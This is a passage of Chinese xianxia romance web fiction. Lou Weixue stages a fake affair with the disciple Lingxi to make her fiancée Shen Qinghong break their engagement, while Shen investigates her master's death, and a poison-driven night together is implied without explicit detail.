娄危雪毫无隐瞒,解释道:“因为我不想和她成婚,但是我爹不会让我退婚,所以?我只能?想办法让沈清鸿主动提出退婚。” “玲溪,帮帮我吧。” 玲溪唯唯诺诺地点头,“好吧。” 少门?主对她很好,她也想回报少门?主一些。 之后的几日,玲溪每天除了?给花厌送饭,便?是跟着娄危雪,被?娄危雪带着在宗门?里到处逛。 两人?举止亲密,娄危雪时不时给玲溪说些笑?话,逗得人?欢笑?连连。 没?多久,宗门?上下许多弟子差不多都看?到过娄危雪和玲溪在一起的样子。 两人?本就生得好看?,娄危雪又是云霄门?的少门?主,可以?说是话题的中心人?物。 弟子们修习结束,做完手中的事情后,便?三三两两地聚在一起。 “少门?主这几天是怎么回事啊?她不是和清鸿仙尊有婚约吗?怎么还?和玲溪拉拉扯扯地搞不清楚?” “少门?主之前被?宗主关禁闭,一日三餐都是玲溪送的,而且听说先?前有人?欺负玲溪,还?被?少门?主给教训了?,你们说少门?主是不是喜欢玲溪啊。” 一个圆脸女弟子闻言,满脸不屑。 “要我说,还?是清鸿仙尊好,年?纪轻轻就有那般修为,生得也好看?,简直比玲溪好百倍千倍!” 另一个高束头发的男弟子闻言,不赞同地反驳。 “你忘啦,清鸿仙尊修的是无情道,传说里那些修无情道的前辈,还?有人?杀妻证道,我要是少门?主,我也不选清鸿仙尊。” “就是就是,清鸿仙尊冷冰冰的,没?有一点人?情味,虽然可敬,但是也可怕啊!” 一个刚入门?的男弟子,不解询问?:“那这样,少门?主为什么还?不和清鸿仙尊退婚啊?” “谁叫宗主不让呢。” “清鸿仙尊一直高高在上的,现在少门?主和玲溪搞这么一出,我真想知道清鸿仙尊是什么表情,天一宗又是怎么想。” “天一宗可是修仙门?派之首,我已经?很久没?看?到,他们的面子被?人?这般按在地上摩擦了?,少门?主真是厉害啊!” 沈清鸿境界高,远远地就听到了?弟子们的议论之声,脸色冷得可怕。 第26章 其实娄危雪和玲溪的事情?刚传出来的时候沈清鸿就知道,不过她一直没放在心上,只当是娄危雪为了退婚使出来的小?花招。 可是现在流言愈演愈烈,已经牵扯到天一宗的宗门尊严了,她不能继续坐视不理。 沈清鸿直接杀到娄危雪住的院落,恰巧玲溪也在。 娄危雪见状,立刻进入状态,她捏起桌上的一块糕点,递到玲溪嘴边,声音温柔得仿佛要滴水。 “来,玲溪,尝尝这个。” 玲溪看了眼沈清鸿,不太自在。 娄危雪状似不满地说着,“看她做什么,看我。” 尽管和娄危雪做这种?亲密的戏码已经有几天了,但?是玲溪依旧不习惯。 在沈清鸿的注视下,玲溪面颊飞上一抹嫣红,她张嘴,就着娄危雪的手小?小?咬了一口。 “怎么样,你喜欢吗?” 玲溪颔首,“嗯,很好吃。” “喜欢就好。” 与这边看上去浓情?蜜意?的两?人不同,沈清鸿周身围绕着一股寒凉的气息,脸色阴沉得可怕。 “娄危雪,你是不是忘记了,你我有婚约在身。” “那又如何?” 娄危雪吊儿郎当,一副极其不在乎的样子。 “这几天你和玲溪的事情?在宗门里?传得沸沸扬扬的,你这么做将我天一宗置于何处!” 沈清鸿面有愠色,似乎正强忍着心中的怒火。 娄危雪要的就是沈清鸿发火,她挑起眉梢,斜眼看着沈清鸿,故意?挑衅:“如果你看不惯我和玲溪这样,那你就退婚啊!” 她一边给玲溪倒茶,一边偷偷关注着沈清鸿的反应。 看见沈清鸿身边的拳头握得越来越紧,娄危雪心里?也捏了把汗。 快说退婚,快说退婚! 娄危雪看到沈清鸿淡色的薄唇缓缓张开…… “我不会退婚。” 沈清鸿松开手指,不论娄危雪这个人如何,单是为了调查师傅的死?因,她都不会退婚。 娄危雪悬着的心终于死?了。 她面无表情?,“既然?不退婚,那你就忍着,这是你自己选择的!” 沈清鸿狠狠地瞪娄危雪一眼,“你不要太过分!” “我看是你太过分!”娄危雪猛拍了下桌子,站起身,与沈清鸿对峙,“你明明拥有结束这些的权利,可是你却选择和我纠缠。” “总之我不会改变,如果你对我不满意?,那你就退婚。” 沈清鸿拧眉寒着脸,冷哼一声,直接拂袖离去。 等人一走,玲溪赶忙从娄危雪身边走开。 她望着沈清鸿离去的背影,秀眉微拧。 “少门主,我们这么做是不是太过分了。” 娄危雪叹了口气,深感疲惫。 “没办法,我这也是为了让她退婚。” “可是这样真的行得通吗?” “眼下我还没想?到更好的办法,只能先这样了。” 自从沈清鸿主动来找过娄危雪之后,娄危雪就做得更过分了。 她没事就带着玲溪去沈清鸿居住的云水苑晃悠,生怕沈清鸿看不到她和玲溪。 某天清晨,娄危雪一大早就带着玲溪去云水苑。 两?人坐在云水苑附近的小?亭子里?说说笑笑,刚好可以让正在练剑的沈清鸿看得清楚。 亭子旁种?了棵开着花的树,花瓣洁白,只有边缘泛着淡淡的粉色,风吹过时,香风阵阵,有花瓣飘落。 玲溪伸手捏起飘到桌上的一瓣花,“少门主,这花好香啊。” 娄危雪偷瞄了一眼远处练剑的沈清鸿,按住玲溪肩膀。 “你在这等着。” 她说着站起身,从树上折下一小?节花枝,朝玲溪递去。 “送……” 就在此时,一股剑气破空而来,娄危雪手中拿着的花枝被?斩成两?段,带着花朵的那半截落在地上。 娄危雪敛目,朝远处看去,沈清鸿已经收起剑,朝这边走来,很快便来到亭子里?。 “沈清鸿,你干什么!” 沈清鸿面有愠色,似乎正强忍着心中的怒火。 可娄危雪要的就是她发怒,厌恶自己。 娄危雪故意?护在玲溪身前?,想?要刺激沈清鸿,“你伤到我没关系,可你如果伤到玲溪怎么办。” 沈清鸿原本是不想?去管娄危雪和玲溪的互动的,可是在看到娄危雪把花递给玲溪时,山间小?屋中的画面突然?浮现在沈清鸿眼前?。 本以为那段记忆已经被?淡忘,可是回想?起来的时候,依旧那般鲜活。 她记得每天早上起来时桌子上的鲜艳花束,也记得那抱着鲜花笑得灿烂的少女。 沈清鸿的视线久久停留在娄危雪的身上,在娄危雪被?看得快起寒毛的时候,沈清鸿才?淡淡出声。 “不要让我再看到你送人花。” “与你无关。” “你可以试试。” 沈清鸿眼神凌厉,如一把利剑朝娄危雪刺去。 娄危雪能感受到沈清鸿话语里?的不容拒绝,她梗着脖子,又凶又怕的。 “退婚吗?” “不退。” 娄危雪的愿望再次落空,气恼不已,不愿与沈清鸿多说。 “玲溪,我们走。” 两?人离去,亭中只剩一人。 沈清鸿低头看到被?她斩断在地上的花朵,花瓣白惨惨的,看起来无端嘲讽。 有风吹过,花朵被?吹走,消失不见。 在陪着娄危雪在沈清鸿面前?做戏之余,玲溪每天依旧给花厌送饭,替娄危雪劝说花厌,叫花厌交出合欢散的解药配方,花厌每次听?到后都会训斥玲溪,说得很难听?。 每到这个时候,玲溪便会想?起娄危雪以前?对她说的话,难道少主真的只是在利用她吗? 渐渐地玲溪只是送饭,不再说话,态度变得冷淡不少。 花厌从玲溪逐渐减少的话语中,察觉出玲溪的不对。 在玲溪又一次过来给花厌送饭的时候,花厌一反常态放下身段。 她关心询问:“玲溪,你最近过得怎么样?” “很好。” “你身份暴露,娄危雪有没有欺负你?” “没有。” 玲溪面无表情?,她取出餐食,挖起一勺米饭,然?后用筷子把菜放到米饭上。 因为花厌被?绑着,所以这几天吃饭都是玲溪喂花厌的。 见玲溪两?个字两?个字地往外蹦,什么都没说,花厌眼神微暗,她转过头,没有吃饭。 “玲溪,你是不是因为我不愿意?交出解药配方,所以生我的气了。” 玲溪摇头,“我没有生少主的气,我只是担心少主。” “前?几天是我说的话太重了。”花厌垂下头,顺势让头发从脸颊便散落,看上去挫败无比。 “以前?娄危雪欺负过你,我担心你错信娄危雪的话,被?娄危雪欺骗。” 花厌的眉毛紧紧拧在一起,看上去十分自责。 “对不起,玲溪。” 这和玲溪记忆中的那个少主很不一样,几日来的囚禁生活,让花厌面色苍白许多,一向梳得一丝不苟的长发也散乱下来,衣衫不再整洁。 玲溪原本就不算坚硬的心瞬间就软了,她把花厌颊边的头发拨到耳后,嗓音温柔。 “少主,我没有怪你,你不用和我道歉。” “我知道你是因为被?绑着心里?太着急了,所以才?那样说的。” 花厌松了口气,“玲溪你不怪我就好。” 这是几日来,花厌态度难得和缓的时候。 玲溪趁机询问:“少主?*?,这般被?绑着不是个办法,你不如把解药给少门主吧。” 花厌摇头,“药方无论如何都不能给,不过你却可以想?办法先帮我摆脱这锁灵绳。” “我?” 图穷匕见,花厌在玲溪面前?演了许久,这个时候才?说出自己的目的。 “你不是说娄危雪改性?,开始对你好了吗?不如借此机会试探她,从她那里?探得解开锁灵绳的方法,放我离开。” “我不能这么做。”玲溪拒绝得干脆。 虽然?在合欢宗的时候少主帮了她很多,她喜欢少主,但?是在云霄门,娄危雪对她并不坏。 尤其是娄危雪在明知道她身份后,还是选择隐瞒下来这件事,选择掩护她。 她不能做出这般忘恩负义的事情?。 玲溪规劝:“少主,你还是早点把解药药方告诉少门主吧,我相信她,她会依照约定?,放你离开。” “玲溪,你忘了吗?你是合欢宗的人!” 花厌有种?事情?正在脱轨的感觉,自从来到云霄门,玲溪就变得没有之前?那么听?话了。 “少主,我从来没有忘记我的身份。” 正是因为记得自己的身份,记得花厌对她的恩情?,玲溪才?会这般苦口婆心地劝说花厌,否则她完全可以不管这件事情?,任由花厌自生自灭。 可花厌显然?不这样认为,她努力压着心底的火气。 “既然?没有忘记,那就尽快想?办法得到口诀,放我离开。” “除非少主你把少门主要的东西交出来,否则我无法放你离开。” 玲溪神色认真,她不会做出对少门主不利的事情?。 花厌脸色阴沉沉的,火气再也压抑不住。 “还说你没有忘记自己的身份!” “你瞧瞧你现在,张口闭口全是少门主,娄危雪和你才?相处多少时间,你就这般相信她了?” “当初被?娄危雪欺负时,怎么不见你说娄危雪好?” “现在我被?抓了,你倒是开始说她好了。” “你可还记得,当初在合欢宗时我是怎么对你的?现在你就是这么回报我的?” 花厌的声音越来越高,字字句句皆是谴责。 玲溪眼眶渐渐红了,泪水堆积在她的眼眶,让她看不清花厌的面容。 这一刻,她只觉得花厌看起来格外陌生,娄危雪当初对她的训斥不由回荡在心头。 “那个人明知道你是卧底,最不能叫人发现身份,却还是选择借用你的身份来给我送饭。” “她如果真的在意?你,又怎么会这么做?” “上赶着的不是买卖,别被?人卖了还要数钱。” …… 玲溪不由第一次冒出了个模糊的想?法,少主真的爱她吗? 第27章 陷入自我怀疑的玲溪不由颦着眉,眼眶盛不下更?多的难过,泪水顺着她白皙的面颊缓缓流下。 “少主,你真的爱我吗?” 花厌被?玲溪的问题问得怔愣一瞬,原本高涨的气焰瞬间灭了。 “你在说什么胡话?我怎么可能不爱你?” 见玲溪情绪不对,花厌转了口风,“被?绑了几天?,我实在是太着急想要脱身了,所以情绪激动,说了很多不该说的话。” “而?且你总是在我面前提娄危雪,她有那么好吗?” 花厌说话语气很酸,她装作吃醋地埋怨着:“明明是我先认识的你,现在在你面前的也是我。” 玲溪缄默不言,只是默默流着眼泪。 花厌从来没见过这样的玲溪,往常她只要稍微哄玲溪几句,玲溪便?眉开眼笑。 她干巴巴地哄着,“玲溪,你理理我,别生我的气好不好。” “我知道错了,你不要哭了,我以后不会那样说你了。” 可是无论花厌怎么哄人,说好话,玲溪始终没有出声。 花厌拿玲溪没有办法,她叹了口气,岔开话题。 “我知道你现在正在气头上?,那我不说了,我们吃饭吧。” 玲溪没有吭声,只是拿起勺子,夹上?菜喂给花厌。 一顿饭吃完,玲溪一言未发,她把剩下的盘子收起来,离开耳房。 玲溪走后,花厌脸上?的自责与无措瞬间消失。 不知道娄危雪和?玲溪说了什么,玲溪现在真是越来越难控制了。 看来最近要收敛一些了。 她得克制住,不能再对玲溪说重话了。 至于娄危雪,她依旧带着玲溪招摇过市,在沈清鸿面前晃悠。 沈清鸿最开始的时?候还会说上?娄危雪几句,但是每次都会被?娄危雪关于退婚的话堵回来。 几次之后沈清鸿便?什么都不说了,只冷眼看着,任凭娄危雪怎么蹦跶,都不理会。 宗派里流言四起,各种阴谋论都出来了。 有说玲溪和?娄危雪在一起,不是真心喜欢娄危雪,是图娄危雪身边那个少门?主夫人这个位置的。 还有说娄危雪和?沈清鸿成婚,只是为了表面应付长辈,实际上?私底下各玩各的。 更?有甚者,说沈清鸿之所以不退婚,是要和?娄危雪成婚后,把娄危雪杀了,用来证她的无情道的。 娄危雪作为大家议论的主要人物,这几天?没少听弟子们的八卦。 她第?一次意识到,人类的想象力可以丰富到这种程度。 由于和?玲溪在一起演戏,并不能让沈清鸿退婚,娄危雪索性放弃计划。 只不过她依旧时?不时?地要去沈清鸿面前晃悠几下,不死心地继续问她的问题。 这天?吃完饭,娄危雪出去散步消食,不知不觉又走到沈清鸿居住的地方。 从她房间到沈清鸿这里的这条路,这几天?她已经?走了好多遍,几乎不用思考,就能轻易地走过来。 此刻已经?是晚上?,沈清鸿房门?紧闭,屋内灯火通明。 娄危雪在附近的石头椅子上?坐下,刚好对着沈清鸿房间的窗户。 屋内的人坐在窗边,影子被?烛火投射在窗户上?。 那影子背脊挺得笔直,端坐着,只偶尔才?会动一下。 这是在干什么? 娄危雪撑着下巴看了一会,然后弯腰从地上?捡起一颗圆润的小石子,捏在手指间。 她手腕晃动,石子被?她丢了出去顺利砸破窗纸,只不过却没有传来落地的声响。 嗯? 娄危雪往里张望,结果下一秒那颗被?她丢出去的石子便?被?原路奉还。!!! 娄危雪伸手运气,好险才?把石子控制在了面前。 石子滞空,娄危雪收手,石子落地。 娄危雪呼了口气,擦擦额上?根本就不存在的汗水。 真是好险。 沈清鸿推开窗户,见这次只有娄危雪一个人,有些意外?。 “今天?怎么没见到玲溪。” 娄危雪小声地嘟囔一句,“那不是带不带人都没用嘛。” 沈清鸿皱眉,“你说什么?” “没什么。” 听娄危雪说没事,沈清鸿面无表情,抓住窗框就要把窗户关上?。 娄危雪见状连忙制止,“诶!等等,我还有话要说!” 沈清鸿动作一顿,“什么事?” “我就是想问问你,退婚吗?” 砰—— 窗户被?沈清鸿无情关上?,很清楚地表明了她的态度。 娄危雪摸摸鼻子,走之前朝窗户吼了声:“我改日再来。” 屋内,沈清鸿在桌边重新坐下,她的面前摊着一本书,是她从云霄门藏书阁那里借来的——云霄门?事件记。 里面记载了云霄门?自成立以后,发生的一些重大事件。 她拿起书本,继续往下看,可娄危雪那张生动鲜活的面容总是在沈清鸿的眼前浮现,每个字似乎都变成了娄危雪说的话。 沈清鸿在桌边坐了许久,半天?翻不了一页。 意识到不对后,沈清鸿皱眉把书合上?,直接不看了。 她回到床上,盘膝打坐,清心静气。 之后只要娄危雪想到沈清鸿,就会去找她。 某个深夜,娄危雪躺在床上翻来覆去的怎么都睡不着,干脆直接穿衣起身。 晚风凉爽,娄危雪哼着小调,踩着一地的月光,脚步轻快无比。 她原本只是想出来随便?走走,结果等她回神时?,人却已经?站在沈清鸿房间门?口。 看着面前关闭的大门?,娄危雪沉默。 嗯…… 三秒后,娄危雪敲响房门?。 她声音欢快,“清鸿仙尊,你睡了吗?” 屋内传来窸窸窣窣的动静,没多大会儿的功夫,门?被?从里推开。 沈清鸿身上?披着一件薄衫,头发没有如?往日般束起,只是披散在身后,显然是已经?睡下,然后被?叫起来的。 她面色霜寒,语气冰冷。 “有事?” 娄危雪还丝毫没有意识到,自己半夜叫人起来的举动,有多么的丧心病狂。 她眨巴着眼睛,“退婚吗?” 这句话刚被?说出口,娄危雪就感觉周遭的温度猛然下降,冻得她打了个哆嗦。 下一瞬,均湘剑被?沈清鸿召唤,出现在沈清鸿的手中。 娄危雪后知后觉,她抬起右手,五指并拢。 “停!” “你不用回答,我知道仙尊你的答案了!我这就走。” “晚安!告辞!” 娄危雪说着就迅速地朝着来时?的路跑去,沈清鸿举剑,一步踏出房门?。 剑光擦着娄危雪飞过,斩落娄危雪半截衣袖。 见人追上?来了,娄危雪一边躲,一边劝说:“别动怒啊,这夜深人静的好多人都睡了,万一把他?们吵醒怎么办,你说是不是,清鸿仙尊?” “原来你也知道,很多人已经?——” “睡!了!” 剑气飞出,娄危雪出门?时?随便?拿来绑头发的发绳被?隔断,长发散落。 看着死无全尸的发绳,娄危雪脑中只有两个字。 完了! 娄危雪只顾着躲身后袭来的攻击,慌不择路下,感觉脚下似乎踩到了什么东西。 在云水苑落脚的仙鹤,原本睡得好好的,冷不丁地被?人踩了一脚,顿时?发出洪亮的鸣叫声。 大晚上?的,还让不让鹤睡觉了! 它扑扇着翅膀,给了踩它的罪魁祸首一爪。 这次不止沈清鸿,鹤也来了,追着娄危雪啄。 娄危雪躲得过这个,躲不掉那个,她捂着被?啄到的脑袋,嚎叫一声。 “嗷!鹤兄,嘴下留情啊!” 云水苑一时?鹤飞人跳的,无比热闹。 好在之前住在云水苑的天?一宗的人已经?回宗门?去了,否则追娄危雪的可就不止这些了。 等娄危雪回去的时?候,身上?出来时?穿的衣服已经?变成布条,破破烂烂的挂在她的身上?,脑袋上?还落了不少的鹤羽。 这番折腾下来,娄危雪累了,洗漱过后躺在床上?没多久就睡着了。 养足精神,明天?再战,这个婚她非退不可! 第28章 一天又一天,娄危雪总是不经意地,就出现在?了沈清鸿的面前。 或者是在?沈清鸿练剑的时候,或者是沈清鸿打坐的时候,或者是…… 此刻。 先前沈清鸿借来?的云霄门事?件记已?经被她全部看完,她来?到藏书阁,朝着登记的柜台走?去,发现原本在?柜台处负责登记的弟子并不在?那里。 沈清鸿正准备离开?,柜台里面却传来?一阵动静,娄危雪突然站起?身,从?柜台后面冒了出来?。 饶是冷静如?沈清鸿此刻也有些忍不住了,她额角青筋直跳。 “怎么?哪都有你?。” 娄危雪挠挠脑袋,解释:“在?这的师兄有事?,我临时过来?顶替他一下。” 沈清鸿沉默。 今日的一问还没问,眼下正是好时候。 娄危雪启唇:“清鸿仙尊,退婚吗?” 沈清鸿只是冷冷地看着娄危雪,并不言语。 娄危雪微笑,“好的,我明白?了。” 沈清鸿冷哼一声,把手中的书放到柜子上,“还书。” 娄危雪把书收到柜子下面,翻开?记录的册子,一行行地寻找着沈清鸿的借书记录。 在?找名字的间隙,她忍不住好奇问道:“这本书平常很少有人借的,清鸿仙尊怎么?想起?借这本书看。” 沈清鸿不动声色地解释:“再过几个月你?我便要成婚,我自是要了解一下。” 娄危雪翻找的动作一顿,她抬头。 “退……” “不退。” “好的。” 娄危雪低头继续找沈清鸿的名字,却听沈清鸿询问。 “我看书中记载,许多事?情?本该由娄宗主和云夫人一起?主持,可是大多数的时候云夫人都不在?,上面鲜少有关于云夫人出现的记录,这是为何?” 娄危雪没有多想,直接回道:“我母亲常年闭关,许多事?情?都是我父亲一人操办的,所以上面很少记载过她。” “云夫人为何总是闭关?” “母亲多年前外出的时候,曾遭遇邪修攻击,身受重伤,自那起?身体就不太好,所以常年闭关,一方面是为了修炼,一方面也是为了修养身体。” 沈清鸿手指微蜷,想起?书中最后一次记载云文君名字的时间,距离她师傅被杀的时间很近。 她追问:“云夫人受伤是什么?时候的事?情??” “大概在?……七年前,元宵前后。” 娄危雪的手指猛地握在?一起?,那正是她师傅被害的后几天。 世上会有这样的巧合吗? 沈清鸿不信。 看来?师傅的死就算不是云文君造成的,恐怕也与云文君有脱不开?的关系。 “好了。” 娄危雪成功找到沈清鸿的名字,提笔在?下面记录上归还二字。 “清鸿仙尊?” 她的声音唤回沈清鸿的思绪,沈清鸿缓缓松开?手,叫自己冷静下来?。 “书已?归还,我先走?了。” 沈清鸿离开?藏书阁,回到房中。 看来?还是得找个机会,去云文君闭关的地方探一探。 在?云霄门住了这么?多天,沈清鸿旁敲侧击地打听到了不少消息。 为了防止被人打扰,云文君选择闭关的地方在?首峰的后山,除了负责守卫巡逻的弟子,那里鲜少有人过去。 等天色黑下,沈清鸿在?自己房间布下一道禁制,如?果有人过来?找她,便会触发。 做好这些之后,沈清鸿一路小心避开?巡逻的弟子,朝着善云文君闭关的地方走?去。 她境界高深,那些巡逻的弟子大多才筑基,几乎没过多久,沈清鸿便成功来?到后山云文君闭关的地方。 沈清鸿没有着急进去,她藏匿在?后山的树林间,悄悄放出自己的神识。 那是一座院子,院子有前后两扇门,每扇门的门口,都有弟子把守,此外还有两队人在?附近巡逻,其?中有四人是元婴修为、五个金丹后期、一个金丹中期。 沈清鸿并未打草惊蛇,她藏在?树林中,仔细观察着,寻找着时机。 时间一分一秒流逝,一队巡逻的弟子巡逻到门口,守门的弟子和为首的人交代几句,便捂着肚子匆匆跑开?了。 巡逻的弟子队在?门口转了一会之后,看到守门的弟子从?院子左侧回来?,便带着人从?院子右侧离开?了。 这时,守门弟子还在?沿着左侧院墙朝大门走?,而巡逻弟子的最后一个人已?经从?大门处离开?,走?入右侧院墙。 门口无人。 就是此刻! 沈清鸿如?一阵风般掠了出去,在?守门弟子回来之前成功进入院中。 踏入院子里的第?一时间,沈清鸿再次寻到地方将自己藏匿起来?。 院中的防守比院外更严,只是前院,沈清鸿感知到的便有不少元婴弟子。 沈清鸿皱起?眉头,尽管这是云文君闭关的地方,不便被人打扰,可这守卫的人未免太多了。 她一路小心,逐渐往里深入。 另一边,娄危雪再次义乌所获得从?耳房离开?。 由于迟迟没能从?花厌那里要到合欢散的配方,娄危雪在?之前合欢散快发作的时候,按照在?山里时李寄春寄给她的药方抓取药材,煎熬喝下以此延缓合欢散发作的时间。 可是这个延缓的时间,并没有一个具体的天数。 娄危雪回到自己房间,思考着究竟要怎么?样才能撬开?花厌的嘴。 可就在?此时,一股熟悉的燥热自娄危雪的身体深处开?始蔓延。 该死! 沈清鸿的步伐乱了一瞬,险些和巡逻的内院弟子撞上。 她连忙退回原地,屏住呼吸,将自己给藏好。 同时一股热意缓缓上升,缠绕上她的五脏六腑。 在?山里的经历,让沈清鸿明白?,这是合欢散发作了。 内院的院门就在?眼前,怎么?偏偏是这个时候! 沈清鸿咬牙看着近在?咫尺的门框,再往里去,守卫只会更加森严。 如?果她以现在?这个状态如?果进去,很有可能会出事?。 冷静,不能打草惊蛇。 沈清鸿努力按捺下躁动的心,从?内院的门前推开?。 她转身,一点点往来?时的路走?去。 等沈清鸿离开?后山的时候,身体的燥意已?经快压不住了。 她快速地冲去娄危雪住的霜雪居,推开?门直接闯了进去。 房内空无一人,并没有娄危雪的身影。 沈清鸿眉毛拧成了死结,这个时候不好好在?房间里待着等她,跑哪去了! 热意一股股地冲击着沈清鸿,沈清鸿运转清心诀,与热意对抗。 她退出娄危雪的房间,试图去找巡逻的弟子,看看有没有人发现娄危雪的踪迹。 沈清鸿刚出娄危雪的院门,就看到一个熟悉的人。 玲溪朝沈清鸿走?来?,见她一副气势汹汹的模样,惊讶询问:“清鸿仙尊,你?怎么?了?” “你?有看到娄危雪吗?” 今日巡逻的人恰巧有玲溪,她在?沈清鸿过来?前不久,看到过娄危雪匆匆朝一个地方跑去了,当时她有叫人,可是娄危雪根本就没停。 见沈清鸿询问,玲溪如?实回答:“少门主似乎是朝冷泉那边去了。” “多谢。” 话音落下,玲溪只觉眼前一阵风刮过,面前已?经没了人,转身再看,沈清鸿已?经在?百十米开?外了。 沈清鸿调转灵力,把心法几乎运转到了极致。 霜雪居离冷泉不算远,沈清鸿赶到冷泉的时候,娄危雪不知道已?经在?泉水里泡了多久了。 冷泉周围没有任何植物,圈着冷泉的石头上布满寒霜。 沈清鸿还没走?入冷泉,只是靠近就觉一股寒凉的冷气扑面而来?,身体的燥意都因?此被压下许多。 她一直找的人就站在?冷泉中,衣服被泉水泡湿紧紧的帖在?身上。 娄危雪面色惨白?毫无血色,睫毛上结了一层白?霜,看上去像是冷得厉害,可她的额头却有一层薄薄的汗水。 听到有人过来?,娄危雪睁开?双眼。 见是沈清鸿,娄危雪问道:“清鸿仙尊,是过来?找我退婚的?” 沈清鸿蹙着眉,都什么?时候了,还问这种事?情?。 但她还是答了,“不是。” 娄危雪对于这个答案并不算意外,她牙齿打颤,唇边扯起?一个僵硬的微笑。 “如?……如?果不退婚……清鸿仙尊就走?吧。” 沈清鸿沉下脸,“你?的合欢散发作了,你?却叫我离开??” “与你?无关,我说过当初的事?情?是个错误,同样的错误,不能再发生第?二次了。” “合欢散发作起?来?,如?果不纾解,五脏六腑都会被灼烧,爆体而亡,你?是想死吗!” “有冷泉在?,我……我还可以多撑一段时间。” 娄危雪哆嗦着回答,她既然已?经决定和沈清鸿划清界限,便不能再做出那种事?情?。 “冷泉能帮你?压制多久,一天,两天?” 沈清鸿眉头紧皱,语气里透露了一丝烦躁。 “它的效用只会逐渐减弱,到时候合欢散发作,你?得不到解药,又当如?何?” “这是我的事?情?,无须清鸿仙尊操心。”娄危雪此刻固执得可怕,她坚持,“除了退婚,你?我二人没有什么?话可说,请你?离开?。” 沈清鸿清冷如?月的眼眸中闪烁着冰冷的亮光,身上散发的冷意与冷泉几乎相差无几。 她没想到,娄危雪为了和她划清界限,竟然能够做到这种地步。 沈清鸿气恼不过,转过身欲走?。 娄危雪闭上眼睛,合欢散带来?的燥热,与冷泉散发着的冷意相互抵抗。 一会是合欢散占据上风,一会是冷泉,体内冷热交加,让人如?坠冰火两重天。 这般的折磨,叫她忍不住发出一声痛苦的闷哼。 原本已?经转身要走?的沈清鸿,闻言刚抬起?的脚再也抬不起?,耳根乍然红了。 第29章 听着耳边越来越难以自?控的哼唧声?,沈清鸿终究忍不住转过身来,朝冷泉中的人?看去。 娄危雪泡在泉水中央,眼睛已经闭上,鸦羽般的睫毛因为身体的不适而?颤抖不停,眼下?的小痣在雪白皮肤的映衬下?十分惹眼,她的唇色白得可怕,贝齿咬下?便留下?一行白印。 沈清鸿面无表情,可看到往日在她面前张扬五爪,活力四射的人?,此刻恹恹地?泡在泉水中,脚下?就如生根一般,动不了一步。 由于一直没有听到沈清鸿离开的动静,娄危雪忍不住重新睁开眼睛,却看到沈清鸿在原地?站着,不知道在想些什么。 “你怎么还不走?” 她双眉紧皱,声?音是压抑不住地?颤抖。 沈清鸿并未言语,只是定?定?地?看着娄危雪。 她并不如娄危雪那般有冷泉压制,只是单纯凭借自?己的修为来克制体内的燥意。 娄危雪的眉毛越皱越紧,合欢散的热,与冷泉的寒,一股股地?冲击着她的神志。 偶尔合欢散占据上风,灼人?的热意自?娄危雪的身体深处燃起,叫她简直快要忘记身处在什么地?方?,她开始控制不住自?己的手指,忍不住去解衣襟的腰带。 迷迷糊糊间?,娄危雪听到一声?轻叹。 岸边一直没有动静的人?动了,一步步走入泉水,雪白的衣袍被泉水打湿,紧紧贴在那人?的身上。 仅仅只是几步的距离,娄危雪却觉得仿佛过了一个?世纪般漫长。 身体里的两?股力量相撞,娄危雪脚下?一软没能站稳,眼看着就要倒入冷泉中,那人?伸手扶住了她。 不过是一个?触碰,却比冷泉的作用还要好,被触碰到的地?方?燥意消散,冷泉就更?显寒冷了。 娄危雪闷哼一声?,简直控制不住自?己,朝着那人?贴去。 沈清鸿揽住娄危雪,她虽然能靠着修为压制合欢散,可也不过是一时,到最后?若是不纾解,不管她如今修为多高,最后?都会落得个?爆体而?亡的下?场。 她这么做只是为了解决合欢散,并不是因为怜惜娄危雪。 沈清鸿别扭地?劝说自?己,捞起娄危雪,将人?抱起走出冷泉,带回自?己的房间?。 娄危雪被沈清鸿放在床上,感受到一直环绕着自?己的冰凉就要远去,本能地?伸手,那块冰凉凉就这样落入她的怀中。 可是冰凉凉身上似乎缠着一层东西?,娄危雪嘟囔一句,将那碍事的东西?剥去和冰凉凉紧紧贴在一起,对着冰凉凉上下?其手。 一晌贪欢。 清晨,淡薄并不炽烈的阳光透过窗户,笼罩在床上睡着的两?个?人?身上,像是给两?人?身上披上了一层淡淡的薄纱。 娄危雪睡梦迷糊中,感觉抱着一个?软软暖暖的东西?。 唔,好软,好喜欢。 她忍不住往软绵绵上埋了埋脑袋,结果那软绵绵竟然动了一下?。 等等,会动? 娄危雪意识到不对,顿时睡意全消。 她猛地?睁开眼睛,两?团雪白出现在她的眼前,抬眸朝上看去是沈清鸿那张清冷出尘的俏脸。 那人?显然已经被她的动静弄醒,两?人?的视线在空中对上,空气一时静谧。!!! 娄危雪瞬间?拉开与沈清鸿的距离,慌里慌张地?朝身后?退,结果没注意到已经退到了床边,直接从床上摔了下?去。 这一下?摔得不轻,娄危雪面容扭曲一瞬,不过她此刻根本顾不上身体传来的疼痛。 “你你你你……” 她满脸震惊,指着沈清鸿,几乎说不出完整的句子。 沈清鸿坐起身,来到床边,好整以暇地?看着地?上的人?。 “我?” “你怎么会在这里。” 沈清鸿不答反问:“你觉得呢?” 这句话?仿佛是一个?开关,昨夜的记忆如潮水般席卷而?来。 潮湿的眼,颤抖的身体,破碎的声?音……令人?窒息的画面几乎要将娄危雪淹没,她想起了昨夜的事情。 当时她受合欢散影响,理智几乎全部被她抛到脑后?,做事全凭本能。 她记得当时,她可是按着人?,把人?给狠狠欺负了一顿。 “嘶——” 娄危雪倒吸一口凉气,伸手捂住自?己的脸。 沈清鸿挑眉,“捂脸干什么?” “脸疼。” 沈清鸿满眼不解,“什么?” “没什么。” 娄危雪放下?自?己的手,在心里暗暗骂了自?己一句。 娄危雪啊,你可真不是个?人?! 瞧瞧你都做了什么! 要和人?彻底断开关系的是你,追着人?嚷嚷着要退婚的也是你,可是你却在合欢散发?作的时候,对人?酱酱酿酿的! 现在好了,看你怎么收场! “昨夜的事……”娄危雪挣扎着,思考要怎么说。 沈清鸿见娄危雪面色纠结,想到了之前娄危雪说的关于错误的话?,她的脸色重新冷下?去。 “昨夜的事情,你不用放在心上。” 娄危雪听后?,在心里狠狠给了自己一巴掌,自?己可真不是个?东西?! “对不起,昨夜是我做错了事情。” “不必道歉,如果我不想,你也不能把我怎么样。” 娄危雪抿唇,不知道该怎么回答。 沈清鸿不想在这里与她僵持,开始赶人?。 “就这样,你走吧。” 娄危雪垂下?头,把外衣裙从地?上捡起,穿好衣服。 “我走了。” 她推开门,朝屋里的沈清鸿招呼了一句。 就在娄危雪即将迈出步子的时候,沈清鸿眸光微动,突然叫住她。 “等等。” 